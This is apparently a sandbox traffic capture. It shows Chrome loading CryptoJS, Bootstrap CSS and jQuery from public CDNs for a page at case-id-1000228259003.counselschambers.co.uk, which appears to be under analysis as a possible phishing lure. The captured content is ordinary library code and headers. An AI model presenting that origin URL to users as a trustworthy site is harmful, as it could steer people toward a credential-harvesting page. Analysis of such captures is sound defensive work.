2025-03-14 09:08:32 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 2a 20 40 65 78 61 6d 70 6c 65 0a 09 20 20 20 20 20 20 20 20 20 20 20 20 20 2a 0a 09 20 20 20 20 20 20 20 20 20 20 20 20 20 2a 20 20 20 20 20 76 61 72 20 69 6e 73 74 61 6e 63 65 20 3d 20 4d 79 54 79 70 65 2e 63 72 65 61 74 65 28 29 3b 0a 09 20 20 20 20 20 20 20 20 20 20 20 20 20 2a 2f 0a 09 20 20 20 20 20 20 20 20 20 20 20 20 63 72 65 61 74 65 3a 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 09 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 69 6e 73 74 61 6e 63 65 20 3d 20 74 68 69 73 2e 65 78 74 65 6e 64 28 29 3b 0a 09 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 6e 73 74 61 6e 63 65 2e 69 6e 69 74 2e 61 70 70 6c 79 28 69 6e 73 74 61 6e 63 65 2c 20 61 72 67 75 6d 65 6e 74 73 29 3b 0a 0a 09 20 20 20 20 20 20 20 20 Data Ascii: * @example * * var instance = MyType.create(); */ create: function () { var instance = this.extend(); instance.init.apply(instance, arguments);
2025-03-14 09:08:32 UTC	1369	IN	Data Raw: 20 20 7d 0a 0a 09 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 20 49 45 20 77 6f 6e 27 74 20 63 6f 70 79 20 74 6f 53 74 72 69 6e 67 20 75 73 69 6e 67 20 74 68 65 20 6c 6f 6f 70 20 61 62 6f 76 65 0a 09 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 70 72 6f 70 65 72 74 69 65 73 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 27 74 6f 53 74 72 69 6e 67 27 29 29 20 7b 0a 09 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 68 69 73 2e 74 6f 53 74 72 69 6e 67 20 3d 20 70 72 6f 70 65 72 74 69 65 73 2e 74 6f 53 74 72 69 6e 67 3b 0a 09 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 09 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0a 0a 09 20 20 20 20 20 20 20 20 20 20 20 20 2f 2a 2a 0a 09 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: } // IE won't copy toString using the loop above if (properties.hasOwnProperty('toString')) { this.toString = properties.toString; } }, /**
2025-03-14 09:08:32 UTC	1369	IN	Data Raw: 30 30 30 31 30 32 30 33 2c 20 30 78 30 34 30 35 30 36 30 37 5d 2c 20 36 29 3b 0a 09 20 20 20 20 20 20 20 20 20 2a 2f 0a 09 20 20 20 20 20 20 20 20 69 6e 69 74 3a 20 66 75 6e 63 74 69 6f 6e 20 28 77 6f 72 64 73 2c 20 73 69 67 42 79 74 65 73 29 20 7b 0a 09 20 20 20 20 20 20 20 20 20 20 20 20 77 6f 72 64 73 20 3d 20 74 68 69 73 2e 77 6f 72 64 73 20 3d 20 77 6f 72 64 73 20 7c 7c 20 5b 5d 3b 0a 0a 09 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 73 69 67 42 79 74 65 73 20 21 3d 20 75 6e 64 65 66 69 6e 65 64 29 20 7b 0a 09 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 68 69 73 2e 73 69 67 42 79 74 65 73 20 3d 20 73 69 67 42 79 74 65 73 3b 0a 09 20 20 20 20 20 20 20 20 20 20 20 20 7d 20 65 6c 73 65 20 7b 0a 09 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: 00010203, 0x04050607], 6); */ init: function (words, sigBytes) { words = this.words = words \|\| []; if (sigBytes != undefined) { this.sigBytes = sigBytes; } else {
2025-03-14 09:08:32 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 76 61 72 20 74 68 69 73 53 69 67 42 79 74 65 73 20 3d 20 74 68 69 73 2e 73 69 67 42 79 74 65 73 3b 0a 09 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 74 68 61 74 53 69 67 42 79 74 65 73 20 3d 20 77 6f 72 64 41 72 72 61 79 2e 73 69 67 42 79 74 65 73 3b 0a 0a 09 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 20 43 6c 61 6d 70 20 65 78 63 65 73 73 20 62 69 74 73 0a 09 20 20 20 20 20 20 20 20 20 20 20 20 74 68 69 73 2e 63 6c 61 6d 70 28 29 3b 0a 0a 09 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 20 43 6f 6e 63 61 74 0a 09 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 74 68 69 73 53 69 67 42 79 74 65 73 20 25 20 34 29 20 7b 0a 09 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 20 43 6f 70 79 20 6f 6e 65 20 62 79 74 65 20 61 74 20 61 Data Ascii: var thisSigBytes = this.sigBytes; var thatSigBytes = wordArray.sigBytes; // Clamp excess bits this.clamp(); // Concat if (thisSigBytes % 4) { // Copy one byte at a
2025-03-14 09:08:32 UTC	1369	IN	Data Raw: 20 63 6f 70 79 20 6f 66 20 74 68 69 73 20 77 6f 72 64 20 61 72 72 61 79 2e 0a 09 20 20 20 20 20 20 20 20 20 2a 0a 09 20 20 20 20 20 20 20 20 20 2a 20 40 72 65 74 75 72 6e 20 7b 57 6f 72 64 41 72 72 61 79 7d 20 54 68 65 20 63 6c 6f 6e 65 2e 0a 09 20 20 20 20 20 20 20 20 20 2a 0a 09 20 20 20 20 20 20 20 20 20 2a 20 40 65 78 61 6d 70 6c 65 0a 09 20 20 20 20 20 20 20 20 20 2a 0a 09 20 20 20 20 20 20 20 20 20 2a 20 20 20 20 20 76 61 72 20 63 6c 6f 6e 65 20 3d 20 77 6f 72 64 41 72 72 61 79 2e 63 6c 6f 6e 65 28 29 3b 0a 09 20 20 20 20 20 20 20 20 20 2a 2f 0a 09 20 20 20 20 20 20 20 20 63 6c 6f 6e 65 3a 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 09 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 63 6c 6f 6e 65 20 3d 20 42 61 73 65 2e 63 6c 6f 6e 65 2e 63 61 6c Data Ascii: copy of this word array. * * @return {WordArray} The clone. * * @example * * var clone = wordArray.clone(); */ clone: function () { var clone = Base.clone.cal
2025-03-14 09:08:32 UTC	1369	IN	Data Raw: 74 61 74 69 63 0a 09 20 20 20 20 20 20 20 20 20 2a 0a 09 20 20 20 20 20 20 20 20 20 2a 20 40 65 78 61 6d 70 6c 65 0a 09 20 20 20 20 20 20 20 20 20 2a 0a 09 20 20 20 20 20 20 20 20 20 2a 20 20 20 20 20 76 61 72 20 68 65 78 53 74 72 69 6e 67 20 3d 20 43 72 79 70 74 6f 4a 53 2e 65 6e 63 2e 48 65 78 2e 73 74 72 69 6e 67 69 66 79 28 77 6f 72 64 41 72 72 61 79 29 3b 0a 09 20 20 20 20 20 20 20 20 20 2a 2f 0a 09 20 20 20 20 20 20 20 20 73 74 72 69 6e 67 69 66 79 3a 20 66 75 6e 63 74 69 6f 6e 20 28 77 6f 72 64 41 72 72 61 79 29 20 7b 0a 09 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 20 53 68 6f 72 74 63 75 74 73 0a 09 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 77 6f 72 64 73 20 3d 20 77 6f 72 64 41 72 72 61 79 2e 77 6f 72 64 73 3b 0a 09 20 20 20 20 20 20 20 20 Data Ascii: tatic * * @example * * var hexString = CryptoJS.enc.Hex.stringify(wordArray); */ stringify: function (wordArray) { // Shortcuts var words = wordArray.words;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49734	151.101.65.229	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-14 09:08:32 UTC	670	OUT	GET /npm/bootstrap@5.3.0/dist/css/bootstrap.min.css HTTP/1.1 Host: cdn.jsdelivr.net Connection: keep-alive Origin: https://case-id-1000228259003.counselschambers.co.uk sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: style Referer: https://case-id-1000228259003.counselschambers.co.uk/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 09:08:32 UTC	763	IN	HTTP/1.1 200 OK Connection: close Content-Length: 232914 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: * Timing-Allow-Origin: * Cache-Control: public, max-age=31536000, s-maxage=31536000, immutable Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Type: text/css; charset=utf-8 X-JSD-Version: 5.3.0 X-JSD-Version-Type: version ETag: W/"38dd2-sjFlHg/Wi72HWBifvTZCxGLTT6Y" Accept-Ranges: bytes Date: Fri, 14 Mar 2025 09:08:32 GMT Age: 2703539 X-Served-By: cache-fra-eddf8230088-FRA, cache-ewr-kewr1740044-EWR X-Cache: HIT, HIT Vary: Accept-Encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2025-03-14 09:08:32 UTC	1378	IN	Data Raw: 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 2f 2a 21 0a 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 20 76 35 2e 33 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 32 33 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 69 6e 2f 4c 49 43 45 4e 53 45 29 0a 20 2a 2f 3a 72 6f 6f 74 2c 5b 64 61 74 61 2d 62 73 2d 74 68 65 6d 65 3d 6c 69 67 68 74 5d 7b 2d 2d 62 73 2d 62 6c 75 65 3a 23 30 64 36 65 66 64 3b 2d 2d 62 73 2d 69 6e 64 69 67 6f 3a 23 36 36 Data Ascii: @charset "UTF-8";/! Bootstrap v5.3.0 (https://getbootstrap.com/) * Copyright 2011-2023 The Bootstrap Authors * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) */:root,[data-bs-theme=light]{--bs-blue:#0d6efd;--bs-indigo:#66
2025-03-14 09:08:32 UTC	1378	IN	Data Raw: 73 75 62 74 6c 65 3a 23 65 32 65 33 65 35 3b 2d 2d 62 73 2d 73 75 63 63 65 73 73 2d 62 67 2d 73 75 62 74 6c 65 3a 23 64 31 65 37 64 64 3b 2d 2d 62 73 2d 69 6e 66 6f 2d 62 67 2d 73 75 62 74 6c 65 3a 23 63 66 66 34 66 63 3b 2d 2d 62 73 2d 77 61 72 6e 69 6e 67 2d 62 67 2d 73 75 62 74 6c 65 3a 23 66 66 66 33 63 64 3b 2d 2d 62 73 2d 64 61 6e 67 65 72 2d 62 67 2d 73 75 62 74 6c 65 3a 23 66 38 64 37 64 61 3b 2d 2d 62 73 2d 6c 69 67 68 74 2d 62 67 2d 73 75 62 74 6c 65 3a 23 66 63 66 63 66 64 3b 2d 2d 62 73 2d 64 61 72 6b 2d 62 67 2d 73 75 62 74 6c 65 3a 23 63 65 64 34 64 61 3b 2d 2d 62 73 2d 70 72 69 6d 61 72 79 2d 62 6f 72 64 65 72 2d 73 75 62 74 6c 65 3a 23 39 65 63 35 66 65 3b 2d 2d 62 73 2d 73 65 63 6f 6e 64 61 72 79 2d 62 6f 72 64 65 72 2d 73 75 62 74 6c 65 Data Ascii: subtle:#e2e3e5;--bs-success-bg-subtle:#d1e7dd;--bs-info-bg-subtle:#cff4fc;--bs-warning-bg-subtle:#fff3cd;--bs-danger-bg-subtle:#f8d7da;--bs-light-bg-subtle:#fcfcfd;--bs-dark-bg-subtle:#ced4da;--bs-primary-border-subtle:#9ec5fe;--bs-secondary-border-subtle
2025-03-14 09:08:32 UTC	1378	IN	Data Raw: 6c 6f 72 2d 72 67 62 3a 33 33 2c 33 37 2c 34 31 3b 2d 2d 62 73 2d 74 65 72 74 69 61 72 79 2d 62 67 3a 23 66 38 66 39 66 61 3b 2d 2d 62 73 2d 74 65 72 74 69 61 72 79 2d 62 67 2d 72 67 62 3a 32 34 38 2c 32 34 39 2c 32 35 30 3b 2d 2d 62 73 2d 68 65 61 64 69 6e 67 2d 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 3b 2d 2d 62 73 2d 6c 69 6e 6b 2d 63 6f 6c 6f 72 3a 23 30 64 36 65 66 64 3b 2d 2d 62 73 2d 6c 69 6e 6b 2d 63 6f 6c 6f 72 2d 72 67 62 3a 31 33 2c 31 31 30 2c 32 35 33 3b 2d 2d 62 73 2d 6c 69 6e 6b 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 2d 2d 62 73 2d 6c 69 6e 6b 2d 68 6f 76 65 72 2d 63 6f 6c 6f 72 3a 23 30 61 35 38 63 61 3b 2d 2d 62 73 2d 6c 69 6e 6b 2d 68 6f 76 65 72 2d 63 6f 6c 6f 72 2d 72 67 62 3a 31 30 2c 38 38 2c 32 30 32 3b 2d Data Ascii: lor-rgb:33,37,41;--bs-tertiary-bg:#f8f9fa;--bs-tertiary-bg-rgb:248,249,250;--bs-heading-color:inherit;--bs-link-color:#0d6efd;--bs-link-color-rgb:13,110,253;--bs-link-decoration:underline;--bs-link-hover-color:#0a58ca;--bs-link-hover-color-rgb:10,88,202;-
2025-03-14 09:08:32 UTC	1378	IN	Data Raw: 2d 63 6f 6c 6f 72 2d 72 67 62 3a 31 37 33 2c 31 38 31 2c 31 38 39 3b 2d 2d 62 73 2d 73 65 63 6f 6e 64 61 72 79 2d 62 67 3a 23 33 34 33 61 34 30 3b 2d 2d 62 73 2d 73 65 63 6f 6e 64 61 72 79 2d 62 67 2d 72 67 62 3a 35 32 2c 35 38 2c 36 34 3b 2d 2d 62 73 2d 74 65 72 74 69 61 72 79 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 31 37 33 2c 20 31 38 31 2c 20 31 38 39 2c 20 30 2e 35 29 3b 2d 2d 62 73 2d 74 65 72 74 69 61 72 79 2d 63 6f 6c 6f 72 2d 72 67 62 3a 31 37 33 2c 31 38 31 2c 31 38 39 3b 2d 2d 62 73 2d 74 65 72 74 69 61 72 79 2d 62 67 3a 23 32 62 33 30 33 35 3b 2d 2d 62 73 2d 74 65 72 74 69 61 72 79 2d 62 67 2d 72 67 62 3a 34 33 2c 34 38 2c 35 33 3b 2d 2d 62 73 2d 70 72 69 6d 61 72 79 2d 74 65 78 74 2d 65 6d 70 68 61 73 69 73 3a 23 36 65 61 38 66 65 3b 2d 2d 62 73 Data Ascii: -color-rgb:173,181,189;--bs-secondary-bg:#343a40;--bs-secondary-bg-rgb:52,58,64;--bs-tertiary-color:rgba(173, 181, 189, 0.5);--bs-tertiary-color-rgb:173,181,189;--bs-tertiary-bg:#2b3035;--bs-tertiary-bg-rgb:43,48,53;--bs-primary-text-emphasis:#6ea8fe;--bs
2025-03-14 09:08:32 UTC	1378	IN	Data Raw: 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 65 61 38 36 38 66 7d 2a 2c 3a 3a 61 66 74 65 72 2c 3a 3a 62 65 66 6f 72 65 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 72 65 64 75 63 65 64 2d 6d 6f 74 69 6f 6e 3a 6e 6f 2d 70 72 65 66 65 72 65 6e 63 65 29 7b 3a 72 6f 6f 74 7b 73 63 72 6f 6c 6c 2d 62 65 68 61 76 69 6f 72 3a 73 6d 6f 6f 74 68 7d 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 76 61 72 28 2d 2d 62 73 2d 62 6f 64 79 2d 66 6f 6e 74 2d 66 61 6d 69 6c 79 29 3b 66 6f 6e 74 2d 73 69 7a 65 3a 76 61 72 28 2d 2d 62 73 2d 62 6f 64 79 2d 66 6f 6e 74 2d 73 69 7a 65 29 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 76 61 72 28 2d 2d 62 73 2d 62 6f 64 79 2d 66 6f 6e 74 Data Ascii: order-color:#ea868f}*,::after,::before{box-sizing:border-box}@media (prefers-reduced-motion:no-preference){:root{scroll-behavior:smooth}}body{margin:0;font-family:var(--bs-body-font-family);font-size:var(--bs-body-font-size);font-weight:var(--bs-body-font
2025-03-14 09:08:32 UTC	1378	IN	Data Raw: 61 64 64 69 6e 67 2d 6c 65 66 74 3a 32 72 65 6d 7d 64 6c 2c 6f 6c 2c 75 6c 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 7d 6f 6c 20 6f 6c 2c 6f 6c 20 75 6c 2c 75 6c 20 6f 6c 2c 75 6c 20 75 6c 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 64 74 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 7d 64 64 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 2e 35 72 65 6d 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 7d 62 6c 6f 63 6b 71 75 6f 74 65 7b 6d 61 72 67 69 6e 3a 30 20 30 20 31 72 65 6d 7d 62 2c 73 74 72 6f 6e 67 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 65 72 7d 2e 73 6d 61 6c 6c 2c 73 6d 61 6c 6c 7b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 38 37 35 65 6d 7d 2e 6d 61 72 6b 2c 6d 61 72 6b 7b 70 61 64 64 69 Data Ascii: adding-left:2rem}dl,ol,ul{margin-top:0;margin-bottom:1rem}ol ol,ol ul,ul ol,ul ul{margin-bottom:0}dt{font-weight:700}dd{margin-bottom:.5rem;margin-left:0}blockquote{margin:0 0 1rem}b,strong{font-weight:bolder}.small,small{font-size:.875em}.mark,mark{paddi
2025-03-14 09:08:32 UTC	1378	IN	Data Raw: 6f 64 79 2c 74 64 2c 74 66 6f 6f 74 2c 74 68 2c 74 68 65 61 64 2c 74 72 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 3b 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 73 6f 6c 69 64 3b 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 30 7d 6c 61 62 65 6c 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 7d 62 75 74 74 6f 6e 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 7d 62 75 74 74 6f 6e 3a 66 6f 63 75 73 3a 6e 6f 74 28 3a 66 6f 63 75 73 2d 76 69 73 69 62 6c 65 29 7b 6f 75 74 6c 69 6e 65 3a 30 7d 62 75 74 74 6f 6e 2c 69 6e 70 75 74 2c 6f 70 74 67 72 6f 75 70 2c 73 65 6c 65 63 74 2c 74 65 78 74 61 72 65 61 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 69 6e 68 65 72 Data Ascii: ody,td,tfoot,th,thead,tr{border-color:inherit;border-style:solid;border-width:0}label{display:inline-block}button{border-radius:0}button:focus:not(:focus-visible){outline:0}button,input,optgroup,select,textarea{margin:0;font-family:inherit;font-size:inher
2025-03-14 09:08:32 UTC	1378	IN	Data Raw: 62 6b 69 74 2d 61 70 70 65 61 72 61 6e 63 65 3a 74 65 78 74 66 69 65 6c 64 7d 3a 3a 2d 77 65 62 6b 69 74 2d 73 65 61 72 63 68 2d 64 65 63 6f 72 61 74 69 6f 6e 7b 2d 77 65 62 6b 69 74 2d 61 70 70 65 61 72 61 6e 63 65 3a 6e 6f 6e 65 7d 3a 3a 2d 77 65 62 6b 69 74 2d 63 6f 6c 6f 72 2d 73 77 61 74 63 68 2d 77 72 61 70 70 65 72 7b 70 61 64 64 69 6e 67 3a 30 7d 3a 3a 2d 77 65 62 6b 69 74 2d 66 69 6c 65 2d 75 70 6c 6f 61 64 2d 62 75 74 74 6f 6e 7b 66 6f 6e 74 3a 69 6e 68 65 72 69 74 3b 2d 77 65 62 6b 69 74 2d 61 70 70 65 61 72 61 6e 63 65 3a 62 75 74 74 6f 6e 7d 3a 3a 66 69 6c 65 2d 73 65 6c 65 63 74 6f 72 2d 62 75 74 74 6f 6e 7b 66 6f 6e 74 3a 69 6e 68 65 72 69 74 3b 2d 77 65 62 6b 69 74 2d 61 70 70 65 61 72 61 6e 63 65 3a 62 75 74 74 6f 6e 7d 6f 75 74 70 75 74 Data Ascii: bkit-appearance:textfield}::-webkit-search-decoration{-webkit-appearance:none}::-webkit-color-swatch-wrapper{padding:0}::-webkit-file-upload-button{font:inherit;-webkit-appearance:button}::file-selector-button{font:inherit;-webkit-appearance:button}output
2025-03-14 09:08:32 UTC	1378	IN	Data Raw: 69 6c 64 29 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 2e 35 72 65 6d 7d 2e 69 6e 69 74 69 61 6c 69 73 6d 7b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 38 37 35 65 6d 3b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 75 70 70 65 72 63 61 73 65 7d 2e 62 6c 6f 63 6b 71 75 6f 74 65 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 35 72 65 6d 7d 2e 62 6c 6f 63 6b 71 75 6f 74 65 3e 3a 6c 61 73 74 2d 63 68 69 6c 64 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 2e 62 6c 6f 63 6b 71 75 6f 74 65 2d 66 6f 6f 74 65 72 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 72 65 6d 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 38 37 35 65 6d 3b 63 6f 6c 6f 72 3a 23 36 63 37 35 37 64 7d 2e 62 Data Ascii: ild){margin-right:.5rem}.initialism{font-size:.875em;text-transform:uppercase}.blockquote{margin-bottom:1rem;font-size:1.25rem}.blockquote>:last-child{margin-bottom:0}.blockquote-footer{margin-top:-1rem;margin-bottom:1rem;font-size:.875em;color:#6c757d}.b
2025-03-14 09:08:32 UTC	1378	IN	Data Raw: 2c 2e 63 6f 6e 74 61 69 6e 65 72 2d 78 78 6c 7b 6d 61 78 2d 77 69 64 74 68 3a 31 33 32 30 70 78 7d 7d 3a 72 6f 6f 74 7b 2d 2d 62 73 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 78 73 3a 30 3b 2d 2d 62 73 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 73 6d 3a 35 37 36 70 78 3b 2d 2d 62 73 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 6d 64 3a 37 36 38 70 78 3b 2d 2d 62 73 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 6c 67 3a 39 39 32 70 78 3b 2d 2d 62 73 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 78 6c 3a 31 32 30 30 70 78 3b 2d 2d 62 73 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 78 78 6c 3a 31 34 30 30 70 78 7d 2e 72 6f 77 7b 2d 2d 62 73 2d 67 75 74 74 65 72 2d 78 3a 31 2e 35 72 65 6d 3b 2d 2d 62 73 2d 67 75 74 74 65 72 2d 79 3a 30 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 77 72 61 70 3a 77 Data Ascii: ,.container-xxl{max-width:1320px}}:root{--bs-breakpoint-xs:0;--bs-breakpoint-sm:576px;--bs-breakpoint-md:768px;--bs-breakpoint-lg:992px;--bs-breakpoint-xl:1200px;--bs-breakpoint-xxl:1400px}.row{--bs-gutter-x:1.5rem;--bs-gutter-y:0;display:flex;flex-wrap:w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49733	151.101.2.137	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-14 09:08:32 UTC	603	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://case-id-1000228259003.counselschambers.co.uk/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 09:08:32 UTC	614	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Fri, 14 Mar 2025 09:08:32 GMT Age: 3184914 X-Served-By: cache-lga21931-LGA, cache-ewr-kewr1740085-EWR X-Cache: HIT, HIT X-Cache-Hits: 2774, 25 X-Timer: S1741943312.237663,VS0,VE0 Vary: Accept-Encoding
2025-03-14 09:08:32 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2025-03-14 09:08:32 UTC	16384	IN	Data Raw: 2c 64 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 70 26 26 28 64 3d 73 3d 28 72 3d 28 69 3d 28 6f 3d 28 61 3d 65 29 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 7c 7c 5b 5d 29 5b 30 5d 3d 3d 3d 6b 26 26 72 5b 31 5d 29 2c 21 31 3d 3d 3d 64 29 77 68 69 6c 65 28 61 3d 2b 2b 73 26 26 61 26 26 61 5b 6c 5d 7c 7c 28 64 3d 73 3d 30 29 7c 7c 75 2e 70 6f 70 28 29 29 69 66 28 28 78 3f 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 66 3a 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 64 26 26 28 70 26 26 28 28 69 3d 28 6f 3d 61 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c Data Ascii: ,d];break}}else 